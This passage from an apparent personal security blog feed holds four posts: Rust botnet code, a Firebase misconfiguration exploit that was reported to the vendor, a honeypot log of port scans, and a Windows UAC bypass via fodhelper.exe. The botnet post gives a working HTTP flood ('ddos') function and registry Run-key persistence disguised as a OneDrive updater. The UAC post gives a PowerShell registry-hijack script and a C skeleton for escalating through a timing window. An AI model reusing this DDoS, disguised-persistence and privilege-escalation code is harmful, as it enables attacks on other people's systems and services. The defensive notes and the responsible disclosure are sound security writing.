                <span class="nb">None</span> <span class="k">=&gt;</span> <span class="k">return</span><span class="p">,</span>
            <span class="p">};</span>

            <span class="nn">commands</span><span class="p">::</span><span class="nf">ddos</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">duration</span><span class="p">)</span><span class="k">.await</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="o">&amp;</span><span class="n">_</span> <span class="k">=&gt;</span> <span class="p">(),</span>
    <span class="p">}</span>

<span class="p">}</span></code></pre></figure>

<p>What I’m doing here is very simple, I match the command and do what I want to with the args.</p>

<p>Here is the commands.rs module.</p>

<figure class="highlight"><pre><code class="language-rust" data-lang="rust"><span class="k">use</span> <span class="n">reqwest</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">std</span><span class="p">::</span><span class="nn">sync</span><span class="p">::{</span><span class="nb">Arc</span><span class="p">,</span> <span class="n">Mutex</span><span class="p">};</span>
<span class="k">use</span> <span class="nn">tokio</span><span class="p">::</span><span class="nn">time</span><span class="p">::{</span><span class="n">sleep</span><span class="p">,</span> <span class="n">Duration</span><span class="p">};</span>

<span class="k">pub</span> <span class="k">async</span> <span class="k">fn</span> <span class="nf">ddos</span><span class="p">(</span><span class="n">url</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span> <span class="n">time</span><span class="p">:</span> <span class="n">Duration</span><span class="p">)</span> <span class="p">{</span>
<span class="k">let</span> <span class="k">mut</span> <span class="n">tasks</span> <span class="o">=</span> <span class="nn">Vec</span><span class="p">::</span><span class="nf">new</span><span class="p">();</span>

    <span class="k">let</span> <span class="n">url</span> <span class="o">=</span> <span class="nn">Arc</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="nn">Mutex</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="n">url</span><span class="p">));</span>

    <span class="k">for</span> <span class="n">_</span> <span class="k">in</span> <span class="mi">1</span><span class="o">..</span><span class="mi">100</span> <span class="p">{</span>
        <span class="k">let</span> <span class="n">u</span> <span class="o">=</span> <span class="nn">Arc</span><span class="p">::</span><span class="nf">clone</span><span class="p">(</span><span class="o">&amp;</span><span class="n">url</span><span class="p">);</span>

        <span class="k">let</span> <span class="n">t</span> <span class="o">=</span> <span class="nn">tokio</span><span class="p">::</span><span class="nf">spawn</span><span class="p">(</span><span class="k">async</span> <span class="k">move</span> <span class="p">{</span>
            <span class="k">let</span> <span class="n">client</span> <span class="o">=</span> <span class="nn">reqwest</span><span class="p">::</span><span class="nn">Client</span><span class="p">::</span><span class="nf">new</span><span class="p">();</span>

            <span class="k">let</span> <span class="n">url</span><span class="p">:</span> <span class="nb">String</span> <span class="o">=</span> <span class="p">{</span> <span class="n">u</span><span class="nf">.lock</span><span class="p">()</span><span class="nf">.unwrap</span><span class="p">()</span><span class="nf">.clone</span><span class="p">()</span> <span class="p">};</span>

            <span class="k">loop</span> <span class="p">{</span>
                <span class="k">let</span> <span class="n">_</span> <span class="o">=</span> <span class="n">client</span><span class="nf">.get</span><span class="p">(</span><span class="o">&amp;</span><span class="n">url</span><span class="p">)</span><span class="nf">.send</span><span class="p">()</span><span class="k">.await</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">});</span>

        <span class="n">tasks</span><span class="nf">.push</span><span class="p">(</span><span class="n">t</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">let</span> <span class="n">_</span> <span class="o">=</span> <span class="nn">tokio</span><span class="p">::</span><span class="nf">spawn</span><span class="p">(</span><span class="k">async</span> <span class="k">move</span> <span class="p">{</span>
        <span class="nf">sleep</span><span class="p">(</span><span class="n">time</span><span class="p">)</span><span class="k">.await</span><span class="p">;</span>

        <span class="n">tasks</span><span class="nf">.iter</span><span class="p">()</span><span class="nf">.for_each</span><span class="p">(|</span><span class="n">task</span><span class="p">|</span> <span class="p">{</span>
            <span class="n">task</span><span class="nf">.abort</span><span class="p">();</span>
        <span class="p">});</span>
    <span class="p">});</span>

<span class="p">}</span></code></pre></figure>

<p>You should now see how you can implement your own commands!</p>

<h1 id="persistence-specifically-on-windows">Persistence Specifically on Windows</h1>

<p>I tend to target Windows machines when I make these projects, and while this will compile and run and any sort of machine that Rust can compile to,
I added features that allow this to infect Windows machines and conditonal compilation. For this, I made a function to use for Windows.</p>

<figure class="highlight"><pre><code class="language-rust" data-lang="rust"><span class="nd">#[cfg(target_os</span> <span class="nd">=</span> <span class="s">"windows"</span><span class="nd">)]</span>
<span class="k">use</span> <span class="nn">winreg</span><span class="p">::</span><span class="nn">enums</span><span class="p">::</span><span class="err">\</span><span class="o">*</span><span class="p">;</span> <span class="nd">#[cfg(target_os</span> <span class="nd">=</span> <span class="s">"windows"</span><span class="nd">)]</span>
<span class="k">use</span> <span class="nn">winreg</span><span class="p">::</span><span class="n">RegKey</span><span class="p">;</span>

<span class="k">async</span> <span class="k">fn</span> <span class="nf">get_persistence</span><span class="p">()</span> <span class="p">{</span>
<span class="k">if</span> <span class="nd">cfg!</span><span class="p">(</span><span class="n">target_os</span> <span class="o">=</span> <span class="s">"windows"</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Makes an autostart registry key</span>
<span class="k">let</span> <span class="n">hkcu</span> <span class="o">=</span> <span class="nn">RegKey</span><span class="p">::</span><span class="nf">predef</span><span class="p">(</span><span class="n">HKEY_CURRENT_USER</span><span class="p">);</span>
<span class="k">let</span> <span class="n">path</span> <span class="o">=</span> <span class="nn">Path</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="s">"Software"</span><span class="p">)</span>
<span class="nf">.join</span><span class="p">(</span><span class="s">"Microsoft"</span><span class="p">)</span>
<span class="nf">.join</span><span class="p">(</span><span class="s">"Windows"</span><span class="p">)</span>
<span class="nf">.join</span><span class="p">(</span><span class="s">"CurrentVersion"</span><span class="p">)</span>
<span class="nf">.join</span><span class="p">(</span><span class="s">"Run"</span><span class="p">);</span>
<span class="k">let</span> <span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="err">\</span><span class="n">_disp</span><span class="p">)</span> <span class="o">=</span> <span class="n">hkcu</span><span class="nf">.create_subkey</span><span class="p">(</span><span class="o">&amp;</span><span class="n">path</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">();</span>

        <span class="k">let</span> <span class="n">name</span><span class="p">;</span>
        <span class="k">if</span> <span class="k">let</span> <span class="nf">Some</span><span class="p">(</span><span class="n">n</span><span class="p">)</span> <span class="o">=</span> <span class="nn">env</span><span class="p">::</span><span class="nf">args</span><span class="p">()</span><span class="nf">.next</span><span class="p">()</span> <span class="p">{</span>
            <span class="n">name</span> <span class="o">=</span> <span class="n">n</span><span class="p">;</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">let</span> <span class="n">userdirs</span><span class="p">;</span>
        <span class="k">if</span> <span class="k">let</span> <span class="nf">Some</span><span class="p">(</span><span class="n">u</span><span class="p">)</span> <span class="o">=</span> <span class="nn">UserDirs</span><span class="p">::</span><span class="nf">new</span><span class="p">()</span> <span class="p">{</span>
            <span class="n">userdirs</span> <span class="o">=</span> <span class="n">u</span><span class="p">;</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="nd">eprintln!</span><span class="p">(</span><span class="s">"Failed to get userdir"</span><span class="p">);</span>
            <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">let</span> <span class="k">mut</span> <span class="n">newdir</span> <span class="o">=</span> <span class="n">userdirs</span><span class="nf">.home_dir</span><span class="p">()</span><span class="nf">.join</span><span class="p">(</span><span class="s">"onedrivedaemon"</span><span class="p">);</span>
        <span class="n">newdir</span><span class="nf">.set_extension</span><span class="p">(</span><span class="s">"exe"</span><span class="p">);</span>

        <span class="k">let</span> <span class="n">_</span> <span class="o">=</span> <span class="nn">std</span><span class="p">::</span><span class="nn">fs</span><span class="p">::</span><span class="nf">copy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">name</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">newdir</span><span class="p">);</span>

        <span class="k">let</span> <span class="n">os_string</span> <span class="o">=</span> <span class="n">newdir</span><span class="nf">.into_os_string</span><span class="p">();</span>
        <span class="k">if</span> <span class="k">let</span> <span class="nf">Err</span><span class="p">(</span><span class="n">_</span><span class="p">)</span> <span class="o">=</span> <span class="n">key</span><span class="nf">.set_value</span><span class="p">(</span><span class="s">"OneDriveUpdater"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">os_string</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>

<span class="p">}</span></code></pre></figure>

<p>This simply copies the file to a new name in the user AppData, and then adds it to the autorun registry key. Perfect!</p>

<h1 id="conclusion">Conclusion</h1>

<p>This project is obviously far from complete! There are many edge cases and things you would want to implement for an actual botnet! However, this is a solid base. Things I would target next
would be efficiency, server detection evasion, and probably something more I’m not thinking of.</p>]]></content><author><name></name></author><category term="cybersecurity" /><summary type="html"><![CDATA[In this fun and informational guide, I will show and guide you through some of the basic prinicpals of building your own botnet! I had this idea a while ago and now that my Rust skills are better-than-none, I feel confident in my ability to make a cool project like this. Like always, using this or software like this on machines that are not yours (or on targets that are not yours, as you will see later) is completely illegal! My goal is to have fun, so don’t be a loser and ruin it for me.]]></summary></entry><entry><title type="html">Exploiting Bad Firebase</title><link href="https://johnswiftc.github.io/cybersecurity/2025/02/20/exploitingbadfirebase.html" rel="alternate" type="text/html" title="Exploiting Bad Firebase" /><published>2025-02-20T12:00:00+00:00</published><updated>2025-02-20T12:00:00+00:00</updated><id>https://johnswiftc.github.io/cybersecurity/2025/02/20/exploitingbadfirebase</id><content type="html" xml:base="https://johnswiftc.github.io/cybersecurity/2025/02/20/exploitingbadfirebase.html"><![CDATA[<h1 id="recent-events">Recent Events</h1>

<p>Recently, I found several vulnerabilities in a piece of software I use almost every day which granted me full access over critical infrastructure. This software acted as a pass monitoring service that did attendance, student services, and hall passes. The company itself provides this service to several different organizations that were all vulnerable to the same attack.</p>

<p>They set up their Firebase wrong. This, as you will come to learn, as a fairly common vulnerability which gives extreme degrees of control over an application.</p>

<p>Near the end, I found I could set the global quote of the day, change the appearance of the site, assign passes of any length to anyone, and scrape the sensitive data of their users.</p>

<h1 id="recon">Recon</h1>

<p>Detecting Firebase is as easy as taking a deeper look with a tool like BurpSuite. It becomes immediately obvious through the WebSocket created that Firebase is in use. These websocket requests then provide interesting information about database routes and authentication.</p>

<p>I found that JSON objects were stored at specific endpoints and this is how informatiom was maintained throughout the entire service.</p>

<p>Also, the website did utilize an authorization key to make database requests. Specifically, it used Google’s auth to generate access and ID tokens (this will be important later).</p>

<h1 id="how-can-we-use-this">How can we use this?</h1>

<p>Well, Firebase conveniently provides a REST API that can be used to make database changes, provided that you have the proper authentication. Knowing this, I decided to fire off a PUT request to an endpoint designed for tracking school hall passes, and created my own 6 hour long pass. To my delight, it had worked. There was no validation for length of time, or the person, or anything else about the request.</p>

<p>While that is technically not bad Firebase, the next vulnerabilites are. With more scanning, I found that the database used a QOTD endpoint to recieve the quote of the day to display to every user on the platform. Naturally I fired off another PUT request to this endpoint, and to my horror, it let me change it! I, for the record, immediately reversed this change.</p>

<p>Some people in the know might be asking: how are we getting auth tokens? That is a good question. The token is only set to live for 3600 seconds once generated and the only way I knew how to generate a token was to intercept one with BurpSuite, or to look in browser local storage. This is where the refresh token comes in.</p>

<p>After prodding around the JS and finding their Firebase API key, I was able to make a POST request to <code class="language-plaintext highlighter-rouge">securetoken.googleapis.com/v1/token?key=THEIR API KEY</code>, with my refresh token. A refresh token, for those unaware, <em>does</em> last forever. With this, exploitation became very easy. I was able to pretty much read whatever data I wanted, and I could have likely destroyed or defaced the service.</p>

<h1 id="preventing-attacks">Preventing Attacks</h1>

<p>Fun fact: I’ve actually never used Firebase for my own projects before. I pretty much scrapped together all the knowledge I needed for exploiting this on the fly and it worked out. However what I do know is possible is deeper authentication on specific endpoints. This could easily be fixed by creating some sort of administrator token to be used for most of the endpoints.</p>

<p>For the “changing values of your own passes” deal, some verification of the values being sent to the backend would mitigate further attacks.</p>

<h1 id="reporting">Reporting</h1>

<p>I reported all of this immediately to the company in question.</p>]]></content><author><name></name></author><category term="cybersecurity" /><summary type="html"><![CDATA[Recent Events]]></summary></entry><entry><title type="html">Catching Port Scanners (going for my own network!)</title><link href="https://johnswiftc.github.io/cybersecurity/reverseshell/2025/01/14/portscanners.html" rel="alternate" type="text/html" title="Catching Port Scanners (going for my own network!)" /><published>2025-01-14T16:30:15+00:00</published><updated>2025-01-14T16:30:15+00:00</updated><id>https://johnswiftc.github.io/cybersecurity/reverseshell/2025/01/14/portscanners</id><content type="html" xml:base="https://johnswiftc.github.io/cybersecurity/reverseshell/2025/01/14/portscanners.html"><![CDATA[<h1 id="what-am-i-doing">What am I doing?</h1>

<p>Well, I recently started the process of learning (<em>relearningish</em>) Rust! In doing that, I elected to make some tools to flex my wings and to get used to the difficulty of a language like Rust.</p>

<p>So, I made <a href="https://github.com/JohnSwiftC/easypot">EasyPot</a>! It’s a neat little tool that logs information about incoming data on TCP ports. Like many of you are aware, malicious actors enlist many different tools to find cracks in router configuration (like open ports!) to then exploit.</p>

<p>This tool, like a few others, serves as a <em>honeypot</em>, or it captures and logs these malicious attempts on open ports.</p>

<h1 id="so-what-did-i-find">So, what did I find?</h1>

<p>I had never really looked into stuff like this and I was not entirely sure what to expect. During my development of GuShell, I did notice every now and then that my listener would pick up rogue requests to port 3000, so I was expecting <em>something…</em></p>

<p>I got a lot more than I expected, and logged <strong>hundreds</strong> of requests scanning my network for vulnerable services on open ports. One of my favorite attackers scanned port 666 tens of times for different bad services ~</p>

<figure class="highlight"><pre><code class="language-json" data-lang="json"><span class="err">Port:</span><span class="w"> </span><span class="mi">666</span><span class="w"> </span><span class="err">Remote</span><span class="w"> </span><span class="err">IP:</span><span class="w"> </span><span class="mf">45.79</span><span class="err">.</span><span class="mf">114.123</span><span class="err">:</span><span class="mi">44316</span><span class="w">
</span><span class="p">[</span><span class="w">
    </span><span class="s2">"GET / HTTP/1.0"</span><span class="p">,</span><span class="w">
</span><span class="p">]</span><span class="w">

</span><span class="err">Port:</span><span class="w"> </span><span class="mi">666</span><span class="w"> </span><span class="err">Remote</span><span class="w"> </span><span class="err">IP:</span><span class="w"> </span><span class="mf">45.79</span><span class="err">.</span><span class="mf">114.123</span><span class="err">:</span><span class="mi">44318</span><span class="w">
</span><span class="p">[</span><span class="w">
    </span><span class="s2">"OPTIONS / HTTP/1.0"</span><span class="p">,</span><span class="w">
</span><span class="p">]</span><span class="w">

</span><span class="err">Port:</span><span class="w"> </span><span class="mi">666</span><span class="w"> </span><span class="err">Remote</span><span class="w"> </span><span class="err">IP:</span><span class="w"> </span><span class="mf">45.79</span><span class="err">.</span><span class="mf">114.123</span><span class="err">:</span><span class="mi">44326</span><span class="w">
</span><span class="p">[</span><span class="w">
    </span><span class="s2">"OPTIONS / RTSP/1.0"</span><span class="p">,</span><span class="w">
</span><span class="p">]</span><span class="w">

</span><span class="err">Port:</span><span class="w"> </span><span class="mi">666</span><span class="w"> </span><span class="err">Remote</span><span class="w"> </span><span class="err">IP:</span><span class="w"> </span><span class="mf">45.79</span><span class="err">.</span><span class="mf">114.123</span><span class="err">:</span><span class="mi">44336</span><span class="w">
</span><span class="p">[</span><span class="w">
    </span><span class="s2">"Bad data, likely a port scanner."</span><span class="p">,</span><span class="w">
</span><span class="p">]</span><span class="w">

</span><span class="err">Port:</span><span class="w"> </span><span class="mi">666</span><span class="w"> </span><span class="err">Remote</span><span class="w"> </span><span class="err">IP:</span><span class="w"> </span><span class="mf">45.79</span><span class="err">.</span><span class="mf">114.123</span><span class="err">:</span><span class="mi">42850</span><span class="w">
</span><span class="p">[</span><span class="w">
    </span><span class="s2">"Bad data, likely a port scanner."</span><span class="p">,</span><span class="w">
</span><span class="p">]</span><span class="w">

</span><span class="err">Port:</span><span class="w"> </span><span class="mi">666</span><span class="w"> </span><span class="err">Remote</span><span class="w"> </span><span class="err">IP:</span><span class="w"> </span><span class="mf">45.79</span><span class="err">.</span><span class="mf">114.123</span><span class="err">:</span><span class="mi">42858</span><span class="w">
</span><span class="p">[</span><span class="w">
    </span><span class="s2">"Bad data, likely a port scanner."</span><span class="p">,</span><span class="w">
</span><span class="p">]</span><span class="w">

</span><span class="err">Port:</span><span class="w"> </span><span class="mi">666</span><span class="w"> </span><span class="err">Remote</span><span class="w"> </span><span class="err">IP:</span><span class="w"> </span><span class="mf">45.79</span><span class="err">.</span><span class="mf">114.123</span><span class="err">:</span><span class="mi">42860</span><span class="w">
</span><span class="p">[</span><span class="w">
    </span><span class="s2">"HELP"</span><span class="p">,</span><span class="w">
    </span><span class="s2">"Bad data, likely a port scanner."</span><span class="p">,</span><span class="w">
</span><span class="p">]</span></code></pre></figure>

<p>As you can see, this guy was going for it! FYI, the “bad data” line isn’t actually bad data, it is the standin I have Rust using when it can’t parse the data into some sort of UTF-8 string. In other words, it is just targeting services with different encodings (maybe).</p>

<h1 id="conclusion">Conclusion</h1>

<p>There were a shocking amount of these requests, having logged over 1000! Moral of the story is to ensure that your router does not have random machines port forwarded: keep everything closed!</p>

<p>In the future, I think that I will send fake version responses back to capture the method of attack being used.</p>

<p>(P.S.) You can report these IP addresses! Almost all of them are widely known in some database for being malicious actors, with many others reporting them for filtering purposes.</p>]]></content><author><name></name></author><category term="cybersecurity" /><category term="reverseshell" /><summary type="html"><![CDATA[What am I doing?]]></summary></entry><entry><title type="html">UAC Bypassing With fodhelper.exe, even after patches.</title><link href="https://johnswiftc.github.io/cybersecurity/maldev/networking/2024/12/28/fodhelper.html" rel="alternate" type="text/html" title="UAC Bypassing With fodhelper.exe, even after patches." /><published>2024-12-28T18:00:00+00:00</published><updated>2024-12-28T18:00:00+00:00</updated><id>https://johnswiftc.github.io/cybersecurity/maldev/networking/2024/12/28/fodhelper</id><content type="html" xml:base="https://johnswiftc.github.io/cybersecurity/maldev/networking/2024/12/28/fodhelper.html"><![CDATA[<h1 id="first-what-is-the-og-bypass">First, what is the OG bypass?</h1>

<p>Back in the olden days, people loved to walk right past UAC with Registry Key Manipulation and fodhelper.exe. In short, fodhelper.exe will run processes with the highest elevation that are designated in the reg key <code class="language-plaintext highlighter-rouge">HKCU:\Software\Classes\ms-settings\Shell\Open\command</code>, in the <code class="language-plaintext highlighter-rouge">(default)</code> value, if the <code class="language-plaintext highlighter-rouge">DelegateExecute</code> value is set. This is obviously pretty bad for UAC and since then Microsoft has been hard at work (not really) trying to solve this problem.</p>

<p>After various security updates, times are different now. If you attempt to do the same thing now with a simple PowerShell script, Defender blows up, closes the calling process, and even resets our registry keys to default, quite a shame.</p>

<p>Here is a sample script that does this. (Remember this, it’s important later 😉)</p>

<figure class="highlight"><pre><code class="language-powershell" data-lang="powershell"><span class="p">[</span><span class="n">String</span><span class="p">]</span><span class="nv">$maliciousExePath</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"C:\whatever"</span><span class="w">

</span><span class="n">New-Item</span><span class="w"> </span><span class="s2">"HKCU:\Software\Classes\ms-settings\Shell\Open\command"</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span><span class="n">New-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s2">"HKCU:\Software\Classes\ms-settings\Shell\Open\command"</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="s2">"DelegateExecute"</span><span class="w"> </span><span class="nt">-Value</span><span class="w"> </span><span class="s2">""</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span><span class="n">Set-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s2">"HKCU:\Software\Classes\ms-settings\Shell\Open\command"</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="s2">"(default)"</span><span class="w"> </span><span class="nt">-Value</span><span class="w"> </span><span class="nv">$maliciousExePath</span><span class="w"> </span><span class="nt">-Force</span><span class="w">

</span><span class="n">Start-Process</span><span class="w"> </span><span class="s2">"C:\Windows\System32\fodhelper.exe"</span></code></pre></figure>

<h1 id="initial-observations">Initial Observations</h1>

<p>Playing around with this technique, even in its broken state, I found some fun stuff. Maybe you as the reader can figure out where I’m going with this:</p>

<ol>
  <li>The process modifying registry keys is not <em>instantly</em> closed, so the PowerShell script above will still (most of the time) execute the line under it that starts fodhelper.exe.</li>
  <li>The process started maliciously is closed, but also not <em>instantly</em>.</li>
  <li>The new registry value is not <em>instantly</em> reset. This should be kind of obvious, seeing that the malicious process is started at all by the above script. This face proves especially useful later, however.</li>
</ol>

<h1 id="discovery">Discovery</h1>

<p>While working with the bypass technique, the time window stuck out as the easiest thing to take advantage of. I noticed that while the process I opened with the basic technique was almost instantly killed, I noticed that it was still able to perform some high-level functions in the short time window that it had. I naturally had the idea that while the high-level process might be killed almost instantly, what happens to child processes, or process spawned in admin context with <code class="language-plaintext highlighter-rouge">system</code>?</p>

<p>The answer is: absolutely nothing! They are created as high-integrity, even!</p>

<h1 id="technique-simplified-how-i-am-using-it">Technique Simplified (How I am using it)</h1>

<ol>
  <li>Set the path to the process as the default value in the registry key for fodhelper.exe, add <code class="language-plaintext highlighter-rouge">DelegateExecute</code>.</li>
  <li>Attacking process opens fodhelper.exe before registry key is reset.</li>
  <li>High-integrity process is spawned, and must then act as a <em>proxy</em> to another process before it is shortly killed.</li>
  <li>The new-new process will be high-integrity, and will also not be killed. Magic!</li>
</ol>

<p>Here is an example process that can elevate itself with a little left out for the reader to enjoy themselves. It uses arguments to open <em>itself</em> when called from fodhelper.exe.</p>

<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="err">\</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="n">argc</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
<span class="n">system</span><span class="p">(</span><span class="s">"Directory to self..."</span><span class="p">);</span> <span class="c1">// Opens self when there is an argument.</span>
<span class="p">}</span>

    <span class="c1">// Open and change reg keys with some method, maybe system(), or RegSetValueExW or many other methods.</span>

    <span class="c1">// I set the default to "dir..sample.exe arg", to trigger the self replication on admin.</span>

    <span class="c1">// Windows is angry, elevate now!</span>
    <span class="n">system</span><span class="p">(</span><span class="s">"fodhelper.exe"</span><span class="p">)</span>

    <span class="c1">// Process is dead here normally, but the new process is high-integrity and stays alive!</span>

    <span class="c1">// Administrator functions...</span>

<span class="p">}</span></code></pre></figure>

<h1 id="protecting-yourself-from-this-bypass">Protecting yourself from this bypass</h1>

<p>It is kind of easy, just set the UAC settings to ALWAYS ASK! For some reason, Windows does not normally do this and it definitely should. This setting will stop this bypass in its tracks!</p>]]></content><author><name></name></author><category term="cybersecurity" /><category term="maldev" /><category term="networking" /><summary type="html"><![CDATA[First, what is the OG bypass?]]></summary></entry></feed>